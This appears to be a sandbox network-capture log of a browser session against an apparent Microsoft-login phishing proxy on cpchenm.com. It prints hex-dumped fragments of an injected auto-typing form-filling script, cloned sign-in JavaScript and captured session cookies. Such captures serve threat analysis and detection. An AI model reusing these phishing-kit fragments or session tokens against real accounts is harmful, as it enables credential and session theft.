2024-11-12 16:29:54 UTC	1495	OUT	GET /24743/38f24fc5900fdb662051d9378c067a295587a54a1b4e7dc196e1fee206da0489/cfa6fe23a8b2678daff7e885b1ac3092843be13f2b5c8f8da62bca6faf6007db.js HTTP/1.1 Host: tvrceocprq.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AXQAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAB0AA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeIP3C8g7KwuiM7Ev_rshoThcn-64VIGdTNldLsZu_R-bwEXfX6wPbFRI1Km9R1OBdPdAzE0jHZtiEUV0eiaiXfYQkoa4y3BR73Md6HTvvCakgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezSAI5wLDpJX4pCUbm_wRplnC1A8sDhadqvgReclaUA46gdDBGd2MTJnwqIr1T6zGS5YKlX6-jN1YGO9hB7J60NnJ-o_SMdi97bfQHyFJ-UZH4-bbTDVAWJBcS04ilndtsb7OzBHk5H22Figqv5HcN6_66VUY74Ea3Pte-VHokVogAA; esctx-LcPkWEWIOLw=AQABCQEAAADW6jl31mB3T7ugrWTT8pFetFovww6P0BF3T5TSvnxYcyATNY-wH_gEnmkWFFKV9bjkhc9mAKnj95Pfz-QmcG_fYJ8LvbCIMVFAqrxAytq7DHXUumpKtdjQnNgJr37IoUinidlLqGM0pYkPxRm5RPjpas9ZNvKB6RfR4KtrxRe8DCAA; fpc=AgoPu6kglfFNoCf1boaPI48
2024-11-12 16:29:55 UTC	869	IN	HTTP/1.1 200 OK Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/javascript Cross-Origin-Resource-Policy: cross-origin Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=None Date: Tue, 12 Nov 2024 16:29:55 GMT Connection: close Transfer-Encoding: chunked
2024-11-12 16:29:55 UTC	310	IN	Data Raw: 39 30 39 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 63 6f 6e 73 74 20 77 61 69 74 46 6f 72 41 6e 64 53 65 74 56 61 6c 75 65 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 73 65 6c 65 63 74 6f 72 2c 20 76 61 6c 75 65 29 20 7b 0a 20 20 20 20 66 69 6e 64 45 6c 65 6d 65 6e 74 28 73 65 6c 65 63 74 6f 72 29 2e 74 68 65 6e 28 28 65 6c 65 6d 65 6e 74 29 20 3d 3e 20 73 69 6d 75 6c 61 74 65 54 79 70 69 6e 67 28 65 6c 65 6d 65 6e 74 2c 20 76 61 6c 75 65 29 29 3b 0a 20 20 7d 3b 0a 20 20 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 73 69 6d 75 6c 61 74 65 54 79 70 69 6e 67 28 0a 20 20 20 20 65 6c 65 6d 65 6e 74 2c 0a 20 20 20 20 69 6e 70 75 74 53 74 72 2c 0a 20 20 20 20 6d 69 6e 44 65 6c 61 79 20 3d 20 31 2c 0a 20 20 20 20 6d 61 78 44 65 6c 61 79 20 3d 20 31 35 Data Ascii: 909(function () { const waitForAndSetValue = function (selector, value) { findElement(selector).then((element) => simulateTyping(element, value)); }; async function simulateTyping( element, inputStr, minDelay = 1, maxDelay = 15
2024-11-12 16:29:55 UTC	2015	IN	Data Raw: 20 20 20 61 77 61 69 74 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 72 65 73 6f 6c 76 65 29 20 3d 3e 0a 20 20 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 72 65 73 6f 6c 76 65 2c 20 67 65 74 52 61 6e 64 6f 6d 49 6e 74 28 6d 69 6e 44 65 6c 61 79 2c 20 6d 61 78 44 65 6c 61 79 29 29 0a 20 20 20 20 20 20 29 3b 0a 20 20 20 20 20 20 65 6c 65 6d 65 6e 74 2e 76 61 6c 75 65 20 2b 3d 20 63 68 61 72 3b 0a 20 20 20 20 20 20 74 72 69 67 67 65 72 45 76 65 6e 74 28 65 6c 65 6d 65 6e 74 2c 20 22 69 6e 70 75 74 22 29 3b 0a 20 20 20 20 7d 0a 20 20 7d 0a 20 20 63 6f 6e 73 74 20 66 69 6e 64 45 6c 65 6d 65 6e 74 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 73 65 6c 65 63 74 6f 72 29 20 7b 0a 20 20 20 20 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 Data Ascii: await new Promise((resolve) => setTimeout(resolve, getRandomInt(minDelay, maxDelay)) ); element.value += char; triggerEvent(element, "input"); } } const findElement = function (selector) { return new Promise(functi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.22	49227	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:55 UTC	476	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:29:55 UTC	1152	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/x-javascript Content-Type: application/x-javascript Content-Type: application/x-javascript Content-Type: application/x-javascript Content-Type: application/x-javascript
2024-11-12 16:29:55 UTC	2374	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 Data Ascii: Content-Type: application/x-javascriptContent-Type: application/x-javascriptContent-Type: application/x-javascriptContent-Type: application/x-javascriptContent-Type: application/x-javascriptContent-Type: application/x-javascriptContent-Type: a
2024-11-12 16:29:55 UTC	49	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 0d 0a Data Ascii: Connection: closeTransfer-Encoding: chunked
2024-11-12 16:29:55 UTC	521	IN	Data Raw: 36 64 64 62 34 0d 0a 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e Data Ascii: 6ddb4/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright n
2024-11-12 16:29:55 UTC	4716	IN	Data Raw: 69 63 72 6f 73 6f 66 74 20 72 65 73 65 72 76 65 73 20 61 6c 6c 20 6f 74 68 65 72 20 72 69 67 68 74 73 20 6e 6f 74 20 65 78 70 72 65 73 73 6c 79 20 67 72 61 6e 74 65 64 20 75 6e 64 65 72 20 74 68 69 73 20 61 67 72 65 65 6d 65 6e 74 2c 20 77 68 65 74 68 65 72 20 62 79 20 69 6d 70 6c 69 63 61 74 69 6f 6e 2c 20 65 73 74 6f 70 70 65 6c 20 6f 72 20 6f 74 68 65 72 77 69 73 65 2e 0a 20 2a 20 0a 20 2a 20 20 20 6a 73 6f 6e 32 2e 6a 73 20 28 32 30 31 36 2d 30 35 2d 30 31 29 0a 20 2a 20 20 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 64 6f 75 67 6c 61 73 63 72 6f 63 6b 66 6f 72 64 2f 4a 53 4f 4e 2d 6a 73 0a 20 2a 20 20 20 4c 69 63 65 6e 73 65 3a 20 50 75 62 6c 69 63 20 44 6f 6d 61 69 6e 0a 20 2a 20 0a 20 2a 20 50 72 6f 76 69 64 65 64 20 66 6f 72 20 49 Data Ascii: icrosoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise. * * json2.js (2016-05-01) * https://github.com/douglascrockford/JSON-js * License: Public Domain * * Provided for I
2024-11-12 16:29:55 UTC	5895	IN	Data Raw: 6e 66 6c 69 63 74 22 2c 31 3a 22 61 6c 74 22 2c 32 3a 22 63 65 72 74 69 66 69 63 61 74 65 69 6e 74 65 72 73 74 69 74 69 61 6c 22 2c 33 3a 22 63 6c 69 65 6e 74 74 72 61 63 69 6e 67 22 2c 34 3a 22 63 6f 6e 66 69 72 6d 72 65 63 6f 76 65 72 79 75 73 65 72 6e 61 6d 65 22 2c 35 3a 22 63 6f 6e 66 69 72 6d 73 65 6e 64 22 2c 36 3a 22 63 6f 6e 66 69 72 6d 73 69 67 6e 75 70 22 2c 37 3a 22 63 72 65 64 65 6e 74 69 61 6c 70 69 63 6b 65 72 22 2c 38 3a 22 63 75 73 74 6f 6d 69 7a 61 74 69 6f 6e 6c 6f 61 64 65 72 22 2c 39 3a 22 65 73 74 73 6c 6f 67 69 6e 5f 61 63 63 65 73 73 70 61 73 73 22 2c 31 30 3a 22 65 73 74 73 6c 6f 67 69 6e 5f 72 65 6d 6f 74 65 6c 6f 67 69 6e 70 6f 6c 6c 22 2c 31 31 3a 22 65 73 74 73 6c 6f 67 69 6e 5f 73 65 61 72 63 68 6f 72 67 61 6e 69 7a 61 74 69 Data Ascii: nflict",1:"alt",2:"certificateinterstitial",3:"clienttracing",4:"confirmrecoveryusername",5:"confirmsend",6:"confirmsignup",7:"credentialpicker",8:"customizationloader",9:"estslogin_accesspass",10:"estslogin_remoteloginpoll",11:"estslogin_searchorganizati
2024-11-12 16:29:55 UTC	7074	IN	Data Raw: 6f 6b 65 6e 3a 22 74 6f 6b 65 6e 22 2c 69 64 5f 74 6f 6b 65 6e 3a 22 69 64 5f 74 6f 6b 65 6e 22 2c 6e 6f 6e 65 3a 22 6e 6f 6e 65 22 7d 2c 6e 2e 50 61 67 69 6e 61 74 65 64 53 74 61 74 65 3d 7b 50 72 65 76 69 6f 75 73 3a 2d 31 2c 55 6e 6b 6e 6f 77 6e 3a 30 2c 55 73 65 72 6e 61 6d 65 3a 31 2c 50 61 73 73 77 6f 72 64 3a 32 2c 4f 6e 65 54 69 6d 65 43 6f 64 65 3a 33 2c 52 65 6d 6f 74 65 4e 47 43 3a 34 2c 50 68 6f 6e 65 44 69 73 61 6d 62 69 67 75 61 74 69 6f 6e 3a 35 2c 4c 77 61 43 6f 6e 73 65 6e 74 3a 36 2c 49 64 70 44 69 73 61 6d 62 69 67 75 61 74 69 6f 6e 3a 37 2c 49 64 70 52 65 64 69 72 65 63 74 3a 38 2c 56 69 65 77 41 67 72 65 65 6d 65 6e 74 3a 31 30 2c 4c 65 61 72 6e 4d 6f 72 65 3a 31 31 2c 54 69 6c 65 73 3a 31 32 2c 43 6f 6e 66 69 72 6d 53 65 6e 64 3a 31 Data Ascii: oken:"token",id_token:"id_token",none:"none"},n.PaginatedState={Previous:-1,Unknown:0,Username:1,Password:2,OneTimeCode:3,RemoteNGC:4,PhoneDisambiguation:5,LwaConsent:6,IdpDisambiguation:7,IdpRedirect:8,ViewAgreement:10,LearnMore:11,Tiles:12,ConfirmSend:1
2024-11-12 16:29:55 UTC	8253	IN	Data Raw: 52 65 74 72 69 61 62 6c 65 45 72 72 6f 72 3a 22 31 33 31 30 30 33 22 2c 50 75 62 6c 69 63 49 64 65 6e 74 69 66 69 65 72 53 61 73 45 6e 64 43 61 6c 6c 4e 6f 6e 52 65 74 72 69 61 62 6c 65 45 72 72 6f 72 3a 22 31 33 31 30 30 34 22 2c 44 65 76 69 63 65 49 73 44 69 73 61 62 6c 65 64 3a 22 31 33 35 30 31 31 22 2c 46 69 64 6f 42 6c 6f 63 6b 65 64 42 79 50 6f 6c 69 63 79 3a 22 31 33 35 30 31 36 22 2c 50 61 73 73 6b 65 79 42 6c 6f 63 6b 65 64 42 79 50 6f 6c 69 63 79 4f 74 68 65 72 41 75 74 68 41 70 70 50 61 73 73 6b 65 79 41 76 61 69 6c 61 62 6c 65 3a 22 31 33 35 30 31 36 31 22 2c 50 61 73 73 6b 65 79 42 6c 6f 63 6b 65 64 42 79 50 6f 6c 69 63 79 4f 74 68 65 72 50 61 73 73 6b 65 79 41 76 61 69 6c 61 62 6c 65 3a 22 31 33 35 30 31 36 32 22 2c 50 61 73 73 6b 65 79 41 Data Ascii: RetriableError:"131003",PublicIdentifierSasEndCallNonRetriableError:"131004",DeviceIsDisabled:"135011",FidoBlockedByPolicy:"135016",PasskeyBlockedByPolicyOtherAuthAppPasskeyAvailable:"1350161",PasskeyBlockedByPolicyOtherPasskeyAvailable:"1350162",PasskeyA
2024-11-12 16:29:55 UTC	9432	IN	Data Raw: 3d 6e 26 26 6e 3c 65 2b 31 7d 72 65 74 75 72 6e 20 66 5b 65 5d 7d 2c 69 73 45 64 67 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 75 6c 6c 3d 3d 3d 70 29 7b 70 3d 21 31 3b 76 61 72 20 65 3d 54 2e 67 65 74 57 69 6e 64 6f 77 73 56 65 72 73 69 6f 6e 28 29 3b 69 66 28 6e 75 6c 6c 21 3d 3d 65 26 26 65 3e 3d 31 30 29 7b 76 61 72 20 6e 3d 54 2e 67 65 74 49 45 56 65 72 73 69 6f 6e 28 29 3b 70 3d 6e 75 6c 6c 21 3d 3d 6e 26 26 6e 3e 3d 31 32 7d 7d 72 65 74 75 72 6e 20 70 7d 2c 69 73 43 68 72 6f 6d 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 62 26 26 28 62 3d 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 22 63 68 72 6f 6d 65 22 29 3e 2d 31 29 2c Data Ascii: =n&&n<e+1}return f[e]},isEdge:function(){if(null===p){p=!1;var e=T.getWindowsVersion();if(null!==e&&e>=10){var n=T.getIEVersion();p=null!==n&&n>=12}}return p},isChrome:function(){return null===b&&(b=navigator.userAgent.toLowerCase().indexOf("chrome")>-1),
2024-11-12 16:29:55 UTC	10611	IN	Data Raw: 64 2e 64 6f 75 62 6c 65 53 70 6c 69 74 28 6e 2c 22 26 22 2c 22 3d 22 29 7d 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 69 3d 6e 7c 7c 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2c 61 3d 69 2e 73 70 6c 69 74 28 22 2e 22 29 2c 6f 3d 61 2e 6c 65 6e 67 74 68 2c 72 3d 61 5b 6f 2d 32 5d 2b 22 2e 22 2b 61 5b 6f 2d 31 5d 2c 73 3d 74 7c 7c 22 2f 22 2c 63 3d 22 68 74 74 70 73 3a 22 3d 3d 3d 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2c 6c 3d 63 3f 22 3b 73 65 63 75 72 65 22 3a 22 22 2c 75 3d 45 2e 67 65 74 44 65 66 61 75 6c 74 53 61 6d 65 53 69 74 65 41 74 74 72 69 62 75 74 65 28 63 29 3b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 64 2e 66 6f 72 6d 61 Data Ascii: d.doubleSplit(n,"&","=")},remove:function(e,n,t){var i=n\|\|document.location.hostname,a=i.split("."),o=a.length,r=a[o-2]+"."+a[o-1],s=t\|\|"/",c="https:"===document.location.protocol,l=c?";secure":"",u=E.getDefaultSameSiteAttribute(c);document.cookie=d.forma
2024-11-12 16:29:55 UTC	11790	IN	Data Raw: 28 65 2c 6e 29 7b 76 61 72 20 74 2c 69 2c 61 2c 6f 2c 72 2c 73 3d 67 61 70 2c 63 3d 6e 5b 65 5d 3b 73 77 69 74 63 68 28 63 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 2e 74 6f 4a 53 4f 4e 26 26 28 63 3d 63 2e 74 6f 4a 53 4f 4e 28 65 29 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 70 26 26 28 63 3d 72 65 70 2e 63 61 6c 6c 28 6e 2c 65 2c 63 29 29 2c 74 79 70 65 6f 66 20 63 29 7b 63 61 73 65 22 73 74 72 69 6e 67 22 3a 72 65 74 75 72 6e 20 71 75 6f 74 65 28 63 29 3b 63 61 73 65 22 6e 75 6d 62 65 72 22 3a 72 65 74 75 72 6e 20 69 73 46 69 6e 69 74 65 28 63 29 3f 53 74 72 69 6e 67 28 63 29 3a 22 6e 75 6c 6c 22 3b 63 61 73 65 22 62 6f 6f 6c 65 61 6e 22 3a 63 Data Ascii: (e,n){var t,i,a,o,r,s=gap,c=n[e];switch(c&&"object"==typeof c&&"function"==typeof c.toJSON&&(c=c.toJSON(e)),"function"==typeof rep&&(c=rep.call(n,e,c)),typeof c){case"string":return quote(c);case"number":return isFinite(c)?String(c):"null";case"boolean":c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.22	49228	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:55 UTC	640	OUT	GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://tvrceocprq.cpchenm.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:29:55 UTC	1144	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/x-javascript Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:55 GMT Etag: 0x8DB5D44A8CEE4F4 Last-Modified: Thu, 25 May 2023 17:22:47 GMT
2024-11-12 16:29:55 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 32 39 35 35 5a 2d 31 35 34 38 37 39 39 39 64 38 37 74 77 66 71 32 68 43 31 57 41 57 64 36 71 63 30 30 30 30 30 30 30 36 67 30 30 30 30 30 30 30 30 30 32 73 77 75 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T162955Z-15487999d87twfq2hC1WAWd6qc00000006g0000000002swuX-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
2024-11-12 16:29:55 UTC	1962	IN	Data Raw: 32 65 36 63 38 0d 0a 28 77 69 6e 64 6f 77 2e 74 65 6c 65 6d 65 74 72 79 5f 77 65 62 70 61 63 6b 4a 73 6f 6e 70 3d 77 69 6e 64 6f 77 2e 74 65 6c 65 6d 65 74 72 79 5f 77 65 62 70 61 63 6b 4a 73 6f 6e 70 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 32 5d 2c 5b 2c 2c 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 72 28 74 29 2c 6e 2e 64 28 74 2c 22 56 61 6c 75 65 4b 69 6e 64 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 65 7d 29 29 2c 6e 2e 64 28 74 2c 22 45 76 65 6e 74 4c 61 74 65 6e 63 79 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 61 7d 29 29 2c 6e 2e 64 28 74 2c 22 45 76 65 6e 74 50 65 72 73 69 73 74 65 6e 63 65 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 Data Ascii: 2e6c8(window.telemetry_webpackJsonp=window.telemetry_webpackJsonp\|\|[]).push([[2],[,,,function(e,t,n){"use strict";n.r(t),n.d(t,"ValueKind",(function(){return r.e})),n.d(t,"EventLatency",(function(){return r.a})),n.d(t,"EventPersistence",(function(){retu
2024-11-12 16:29:55 UTC	559	IN	Data Raw: 76 65 6e 74 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 52 2e 68 7d 29 29 2c 6e 2e 64 28 74 2c 22 6e 6f 72 6d 61 6c 69 7a 65 4a 73 4e 61 6d 65 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 2e 7a 7d 29 29 2c 6e 2e 64 28 74 2c 22 6f 62 6a 46 6f 72 45 61 63 68 4b 65 79 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 2e 43 7d 29 29 2c 6e 2e 64 28 74 2c 22 73 74 72 53 74 61 72 74 73 57 69 74 68 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 2e 4e 7d 29 29 2c 6e 2e 64 28 74 2c 22 73 74 72 45 6e 64 73 57 69 74 68 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 2e 4d 7d 29 29 2c 6e 2e 64 28 74 2c 22 73 74 72 43 6f 6e 74 61 69 6e 73 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: vent",(function(){return R.h})),n.d(t,"normalizeJsName",(function(){return b.z})),n.d(t,"objForEachKey",(function(){return b.C})),n.d(t,"strStartsWith",(function(){return b.N})),n.d(t,"strEndsWith",(function(){return b.M})),n.d(t,"strContains",(function()
2024-11-12 16:29:55 UTC	4716	IN	Data Raw: 20 62 2e 6d 7d 29 29 2c 6e 2e 64 28 74 2c 22 74 6f 49 53 4f 53 74 72 69 6e 67 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 2e 51 7d 29 29 2c 6e 2e 64 28 74 2c 22 61 72 72 46 6f 72 45 61 63 68 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 2e 62 7d 29 29 2c 6e 2e 64 28 74 2c 22 61 72 72 49 6e 64 65 78 4f 66 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 2e 63 7d 29 29 2c 6e 2e 64 28 74 2c 22 61 72 72 4d 61 70 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 2e 64 7d 29 29 2c 6e 2e 64 28 74 2c 22 61 72 72 52 65 64 75 63 65 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 2e 65 7d 29 29 